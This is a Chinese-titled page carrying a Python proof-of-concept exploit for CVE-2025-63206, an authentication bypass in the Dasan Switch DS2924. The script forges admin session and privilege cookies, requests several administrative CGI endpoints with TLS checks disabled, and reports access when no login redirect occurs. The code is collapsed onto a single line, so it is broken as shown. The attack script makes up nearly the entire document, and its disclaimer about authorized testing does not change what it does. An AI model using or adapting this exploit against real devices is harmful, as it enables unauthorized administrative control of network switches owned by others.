CVE-2025-63206 Dasan Switch DS2924 认证绕过漏洞

#!/usr/bin/env python3 """ CVE-2025-63206 PoC - Dasan Switch DS2924 Authentication Bypass Note: This PoC is for educational and authorized security testing purposes only. """ import requests import sys from urllib.parse import urljoin def exploit_auth_bypass(target_url, target_cookie=None): """ Exploit authentication bypass in Dasan Switch DS2924 by injecting crafted cookies into the request. Args: target_url: Base URL of the Dasan Switch DS2924 web interface target_cookie: Optional existing cookie for context Returns: bool: True if exploitation successful, False otherwise """ # Craft malicious cookies to bypass authentication # These cookies simulate an authenticated admin session headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', } # Construct malicious authentication cookies cookies = { 'SESSIONID': 'admin_session_exploit', 'AUTH_LEVEL': 'administrator', 'USERNAME': 'admin', 'PRIVILEGE': '15', } if target_cookie: cookies.update(target_cookie) # Attempt to access privileged endpoints with crafted cookies privileged_endpoints = [ '/cgi-bin/admin/system_info.cgi', '/cgi-bin/admin/user_config.cgi', '/cgi-bin/admin/network_config.cgi', '/admin/main.html', ] print(f"[*] Target: {target_url}") print(f"[*] Injecting crafted cookies to bypass authentication...") for endpoint in privileged_endpoints: full_url = urljoin(target_url, endpoint) try: response = requests.get(full_url, headers=headers, cookies=cookies, timeout=10, verify=False) # Check if we got privileged access (200 OK without redirect to login) if response.status_code == 200 and 'login' not in response.url.lower(): print(f"[+] SUCCESS: Gained access to {endpoint}") print(f"[+] Response length: {len(response.text)} bytes") return True else: print(f"[-] Failed to access {endpoint} (Status: {response.status_code})") except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {str(e)}") return False def main(): if len(sys.argv) < 2: print("Usage: python cve_2025_63206_poc.py <target_url>") print("Example: python cve_2025_63206_poc.py http://192.168.1.1/") sys.exit(1) target = sys.argv[1] if not target.startswith('http'): target = 'http://' + target if exploit_auth_bypass(target): print("\n[!] Vulnerability confirmed - Authentication bypass successful") print("[!] Immediate action required to patch this vulnerability") else: print("\n[-] Exploitation attempt completed") if __name__ == '__main__': main()